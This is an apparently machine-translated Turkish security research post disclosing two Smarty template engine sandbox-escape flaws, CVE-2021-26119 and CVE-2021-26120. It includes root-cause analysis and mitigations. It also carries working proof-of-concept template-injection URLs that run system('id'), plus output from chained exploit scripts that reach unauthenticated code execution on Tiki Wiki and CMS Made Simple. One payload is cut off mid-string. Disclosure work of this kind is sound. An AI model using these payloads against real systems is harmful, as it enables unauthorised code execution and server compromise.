Bu blog yazısında, Smarty Template Engine’de keşfedilen ve bağlama bağımlı bir saldırganın rastgele kod yürütmek için kullanabileceği iki farklı sanal alandan kaçış güvenlik açığını araştırıyoruz. Daha sonra bu güvenlik açıklarının, motoru güvenli bir şekilde kullanmaya çalışan bazı uygulamalara nasıl uygulanabileceğini araştırıyoruz.
Keşfedilen güvenlik açıkları Smarty Template Engine <= 3.1.38'i etkiliyor:
1. şablon_object Sandbox’tan Kaçış PHP Kod Enjeksiyonu
Bu güvenlik açığı, açıkta kalan ve başlatılan bir Smarty
örneğin belgelenmemiş korumalı alan güçlendirme özellikleri kullanılarak kısmen hafifletilmiştir. CVE-2021-26119 olarak yamandı.
2. Smarty_Internal_Runtime_TplFunction Sandbox’tan Kaçış PHP Kod Enjeksiyonu
Bu güvenlik açığı derleme motorunu hedef alır ve 3.1.38 ve altındaki sürümlerde (belgelenmemiş özelliklerin kullanıldığı güçlendirilmiş sanal alanla bile) giderilmemiştir. CVE-2021-26120 olarak yamalandı.
Arka plan
Aşağıdaki metin doğrudan Smarty web sitesinden alınmıştır:
Smarty nedir?
Smarty, sunumun (HTML/CSS) uygulama mantığından ayrılmasını kolaylaştıran, PHP için bir şablon motorudur. Bu, PHP kodunun uygulama mantığı olduğu ve sunumdan ayrıldığı anlamına gelir.
Felsefe
Smarty tasarımı büyük ölçüde şu hedeflere dayanıyordu:
- sunumun uygulama kodundan temiz bir şekilde ayrılması
- PHP arka ucu, Smarty şablon ön ucu
- PHP’yi tamamlar, onun yerine geçmez
- programcılar ve tasarımcılar için hızlı geliştirme/dağıtım
- bakımı hızlı ve kolay
- sözdiziminin anlaşılması kolay, PHP bilgisine gerek yok
- özel geliştirme esnekliği
- güvenlik: PHP’den yalıtım
- ücretsiz, açık kaynak
PHP’yi şablonlardan ayırmak neden önemlidir?
SANDBOXING: PHP şablonlarla karıştırıldığında, bir şablona ne tür mantığın enjekte edilebileceği konusunda herhangi bir kısıtlama yoktur. Smarty, şablonları PHP’den yalıtarak sunumun iş mantığından kontrollü bir şekilde ayrılmasını sağlar. Smarty ayrıca şablonlar üzerinde ayrıntılı kısıtlamaları daha da zorlayabilecek güvenlik özelliklerine de sahiptir.
Çevre
Şablon enjeksiyonunun gerçekleşebileceği bir ortam varsaymalıyız. Birçok uygulama, kullanıcıların şablonları değiştirmesine izin verir ve Smarty’nin bir sanal alana sahip olduğunu açıkça belirttiği göz önüne alındığında, bu işlevselliğin geliştiriciler tarafından amaçlandığı şekilde ortaya çıkması muhtemeldir.
Bunu kabul edersek, yazarın şablon sözdiziminin enjeksiyonuna yol açabileceğinin farkında olduğu iki yol vardır:
$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);
Vektörler
Yukarıdaki senaryo göz önüne alındığında ve varsayılan güvenli modun etkin olduğu varsayıldığında, bir saldırganın kendi şablon kodunu aşağıdaki yollarla sağlaması mümkündür:
/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}
resource:
geçerli bir kaynak olması gerekir; sağlanan bazı varsayılanlar şunlardır:
- Dosya
Kullanırken file:
kaynak, kod yerel bir dosyadan çekilecektir. Bunu hala uzak bir vektör olarak görüyorum çünkü birçok uygulama dosya yüklemeye izin veriyor ve bir saldırgan şablon dosyasına göreli bir yol veya tam yol sağlayabilir; bu da UNC yollarının Windows ortamında da çalıştığı anlamına gelir.
- Değerlendir
Kullanırken eval:
şablon kodunuz basitçe şu şekilde değerlendirilir: Smarty_Resource_Recompiled
sınıf. Bunun olduğunu unutmayın Olumsuz normal bir PHP değerlendirmesiyle aynıdır.
- Sicim
Kullanırken string:
kaynak kodu önce şablonu diske yazacak ve ardından onu ekleyecektir. Smarty_Template_Compiled
sınıf.
Savunmasız Örnek
Burada sunulan kavramların kanıtı farklı sanal alan yapılandırmalarını hedefleyebilir.
Varsayılan Korumalı Alan
Bu sayfa yeni bir sayfa oluşturur Smarty
örnek ve varsayılan ayarları kullanarak güvenli modu etkinleştirdi:
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
Sertleştirilmiş Korumalı Alan
Smarty’nin sağlayabileceği en güvenli yapılandırmayı sağlamak için varsayılan sanal alanın ötesine geçen, sağlamlaştırılmış bir sanal alan sayfası oluşturuldu:
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);
şablon_object Sandbox’tan Kaçış PHP Kod Ekleme
Güvenlik Açığı Analizi
Bu güvenlik açığının temel nedeni, Smarty
örneğinden $smarty.template_object
süper değişken.
Referans almakla başlayalım Smarty_Internal_Template
nesne. {$poc=$smarty.template_object}
değer basitçe bir örneği olan şablon nesnesini atar. Smarty_Internal_Template
ile $poc
. Bu, aşağıdaki kodu oluşturur:
$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);
Bu, şu şekilde gerçekleştirilir: compile
içindeki işlev Smarty_Internal_Compile_Private_Special_Variable
sınıf:
case'template_object':
return'$_smarty_tpl';
Eğer incelersek $poc
Artık nesnenin birçok ilginç nesne özelliği içerdiğini görebiliriz:
object(Smarty_Internal_Template)#7 (24) {
["_objType"]=>
int(2)
["smarty"]=>
&object(Smarty)#1 (76) { ... }
["source"]=>
object(Smarty_Template_Source)#8 (16) { ... }
["parent"]=>
object(Smarty)#1 (76) { ... }
["ext"]=>
object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
["compiled"]=>
object(Smarty_Template_Compiled)#11 (12) { ... }
Buradaki sorun, bir saldırganın smarty
veya parent
onlara bir Smarty örneğine erişim sağlayacak özellik.
Sömürü
Statik Yöntem Çağrı Tekniği
Artık bir saldırganın erişebildiğine göre smarty
özelliği, bunu üçüncü argüman olarak basitçe iletebilirler. Smarty_Internal_Runtime_WriteFile::writeFile
bu, diske rastgele bir dosya yazacaktır (nerede ilkel olduğunu yazın). Bu, James Kettle’ın 2015’te uyguladığı tekniğin aynısıdır.
Hedef dosya sistemine rastgele dosyalar yazabilme yeteneğine sahip olmak neredeyse garantili bir kazançtır ancak bir saldırgan asla bu kadar emin olamaz. Ortamlar büyük ölçüde farklılık gösterebilir ve web kökünde yazılabilir dizinler mevcut olmayabilir, .htaccess arka kapılara erişimi engelliyor olabilir, vb.
Bu bağlam göz önüne alındığında, bu güvenlik açığından bu ortam faktörlerine gerek kalmadan doğrudan uzaktan kod yürütülmesi için yararlanılabilecek, uygulamaya özel bir teknik buldum.
Eğer kullanıyorsanız string:
kaynak, process
içindeki yöntem Smarty_Template_Compiled
derlenmiş şablon dosyasını içeren çağrılacaktır.
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile
|| ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $_smarty_tpl->compile_check;
$_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
$this->loadCompiledTemplate($_smarty_tpl);
$_smarty_tpl->compile_check = $compileCheck;
} else {
$_smarty_tpl->mustCompile = true;
@include $this->filepath; // overwrite this file and then include!
Buna dinamik olarak erişmemiz mümkün filepath
mülkiyeti Smarty_Template_Compiled
sınıfını dosya yazma konumu olarak kullanabilmemiz için.
Bu tekniğin güzel yanı, geçici konumun mutlak Kaynağın çalışması için yazılabilir olmalı ve platformdan bağımsız olmalıdır.
Kavram Kanıtı
PHP’nin yerleşik web sunucusunu ve Varsayılan Sandbox’tan sağlanan sayfayı hedef olarak kullanarak aşağıdaki poc’u çalıştırın. iki kere.
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"
İsteğin iki kez tetiklenmesinin nedeni, ilk kez önbellek dosyasının yazılması ve ardından üzerine yazılmasıdır. İkinci kez önbellek tetiklenir ve dosya uzaktan kod yürütülmesine dahil edilir.
Azaltma
Geçici bir çözüm olarak, static_classes
mülkiyete erişimi engellemek için özel bir güvenlik politikasında geçersiz kılınabilir. Smarty_Internal_Runtime_WriteFile
sınıf. Ancak bunun bir maliyeti vardır ve işlevselliği büyük ölçüde azaltır. Örneğin, Yii çerçevesinde erişim Html::mailto
, JqueryAsset::register
ve diğer statik yöntem çağrıları çalışmayacaktır.
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);
Güvenli modu açarken bu varsayılan olarak etkin olmadığından ve güvenlik açığının temel nedenini ortadan kaldırmadığından, bunun tam bir hafifletme olduğunu düşünmüyorum.
Sandbox Devre Dışı Bırakma Tekniği
Varsayılan güvenlik modunu kullanmayan ve bunun yerine Sertleştirilmiş Korumalı Alan örneğinde olduğu gibi kendi güvenlik politikasını tanımlamaya çalışan daha zor bir hedefimiz olduğunu varsayalım. Erişim sağlayabildiğimiz için bu ortamı atlamak hâlâ mümkün. Smarty
örneğini kullanabilir ve sanal alanı devre dışı bırakmak ve php kodumuzu doğrudan oluşturmak için kullanabiliriz.
Kavram Kanıtı
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
Azaltma
Geçici bir çözüm olarak, disabled_special_smarty_vars
özellik dizeyi içeren bir diziyi içerebilir template_object
.
Ancak bu özellik tamamen belgelenmemiştir. Aşağıda saldırının nasıl önleneceğine dair bir örnek verilmiştir:
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);
Tıpkı statik yöntem çağrısı tekniği gibi, sanal alanda varsayılan olarak etkin olmadığından bunu da tam bir azaltma olarak görmüyorum.
Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Kod Ekleme
Güvenlik Açığı Analizi
Şablon söz dizimini derlerken, Smarty_Internal_Runtime_TplFunction
sınıf, tanımlarken name özelliğini doğru şekilde filtrelemiyor tplFunctions
. Aşağıdaki şablonla bir örneğe bakalım:
{function name="test"}{/function}
Derleyicinin aşağıdaki kodu ürettiğini görebiliriz:
/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
test
Saldırganın kontrol ettiği varsayılan dize, oluşturulan koda birkaç kez enjekte edilir. Dikkate değer örnekler, tek tırnak içinde olmayan herhangi bir şeydir.
Bu birden çok kez enjekte edildiğinden, ilk satırdaki yorum enjeksiyonunu hedefleyecek bir yük bulmayı zor buldum, bu yüzden bunun yerine fonksiyon tanımı enjeksiyonunu tercih ettim.
Kavram Kanıtı
PHP’nin yerleşik web sunucusunu ve Sertleştirilmiş Sandbox’tan sağlanan sayfayı hedef olarak kullanarak aşağıdaki poc’u çalıştırın:
http://localhost:8000/page.php?poc=string:{function+name="rce(){};system("id");function+"}{/function}
Tiki Wiki
CVE-2020-15906 ve CVE-2021-26119’u bir araya getirdiğimizde, bu istismarı kullanarak kimliği doğrulanmamış uzaktan kod yürütmeyi başarabiliriz:
researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id
researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
CMS Basitleştirildi
CVE-2019-9053 ve CVE-2021-26120’yi bir araya getirdiğimizde, bu istismarı kullanarak kimliği doğrulanmamış uzaktan kod yürütmeyi başarabiliriz:
researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"
researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
Referanslar
- https://portswigger.net/research/server-side-template-injection
- https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php% E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/